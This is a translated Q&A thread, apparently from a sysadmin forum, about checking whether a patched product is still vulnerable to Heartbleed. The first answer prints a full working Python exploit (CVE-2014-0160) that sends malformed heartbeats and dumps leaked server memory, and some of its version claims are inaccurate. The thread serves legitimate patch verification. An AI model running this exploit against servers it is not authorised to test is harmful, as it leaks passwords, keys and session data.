我有一个任务,验证我们公司解决Heartbleed
攻击的软件补丁。
现在,我确信我试图利用的软件版本使用了1.0.1e
OpenSSL 库,这应该是易受攻击的。但是,我尝试了多个 Heartbleed 测试工具,它们都说响应中有错误,我的应用程序可能没有易受攻击。
在测试过程中,心脏停搏返回的工具:
[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection
经咨询RFC 5264,我发现了有关“意外消息”的更多信息:
意外消息
收到了不适当的消息。此警报始终是致命的,在正确实现之间的通信中绝不应观察到。
问题:
- 有人可以进一步解释一下这个结果吗?
- 不带扩展名也能
OpenSSL
编译吗Heartbeat
? - 有没有办法列出编译到的扩展
OpenSSL
?
多谢!
答案1
首先,Heartbleed 已被证明能够扫描进程内存(每次 64kB),因此非常严重。即使没有这一点,可以看到的数据也会很容易暴露密码、会话令牌等信息(特别是我一直在研究的 PHP 应用程序)。
请记住,Hearbleed 会影响 TLS 1.1 和 1.2,因此如果您正在测试,则需要指定这一点。(我不确定限制 SSL 版本是否是一种有用的缓解措施;最好进行修补和替换)
在这种情况下,未知消息很可能意味着您请求的选项在对等端不合适(或不支持)。如果您未指定 TLS 1.2,则可能会收到此消息。
我使用了 Jared Stafford 创建的一个小 Python 工具。使用它来运行它以查看你能看到的内容很有启发性watch
。它没有在他的网站上列出,所以我在下面列出了它。你需要使用类似./heartbleed --port 443 --ver 2 SERVER_IP
我发现运行起来更有用,如下所示:
./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'
或者:
./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'
我没有任何未打补丁的服务器来演示这一点,但如果存在漏洞,您将获得所发现材料的十六进制/ASCII 转储,这可能很有趣。您还会收到一条server is vulnerable
消息。
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')
hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')
hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
#s.send()
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
if opts.smtpstarttls:
print 'Sending STARTTLS...'
sys.stdout.flush()
s.send("STARTTLS\n")
print 'Waiting for reply...'
sys.stdout.flush()
recvall(s, 100000, 1)
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
if (opts.ver == 1):
s.send(hbv10)
hit_hb(s)
if (opts.ver == 2):
s.send(hbv11)
hit_hb(s)
if (opts.ver == 3):
s.send(hbv12)
hit_hb(s)
if __name__ == '__main__':
main()
答案2
并非所有使用易受攻击的 OpenSSL 库的产品都会自动受到 Heartbeat 的攻击。这是一个 SSL/TLS 层错误,而不是核心加密代码错误。这完全取决于您的产品如何使用该库。
这个漏洞本身并不像宣传的那样严重,因为它的作用是发送一个 64KB 的程序内存块,该内存块位于发送缓冲区之后。这个内存块可能包含机密数据,也可能不包含。即使它确实包含此类数据,黑客仍然必须将其与周围的垃圾隔离开来。
有相当多的产品使用了易受攻击的 OpenSSL 库,但它们本身并不存在漏洞,只是因为它们对错误情况处理不当(用于防范漏洞的漏洞)。您的产品可能就是其中之一。
您应该安装一些线路嗅探器(例如 Wireshark)并观察 Heartbeat 消息包及其答案。如果答案很长,接近 64KB,则您的产品存在漏洞。如果答案很短,无论错误程度如何,您都不容易受到攻击。
最好的解决方案当然是修补 OpenSSL 库。
Heartbleed 信息
这篇文章很好地解释了这个错误 OpenSSL Heartbleed 漏洞剖析:
OpenSSL 中导致该错误的 C 代码是:
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
通过在 memcpy 调用(内存复制函数)之前对变量有效负载进行简单检查来修复此代码。
仅发送构造消息之后的 64KB。消息本身在内存中分配,可能是由函数 malloc() 分配的,因此可能并不总是位于同一地址。但是,可以提取的数据是有限制的。
这意味着通过此漏洞读取整个进程内存的故事只是恐吓故事,尽管攻击者有一点运气,可以得到非常敏感的数据。这完全取决于受攻击产品的编程方式及其确切的内存布局。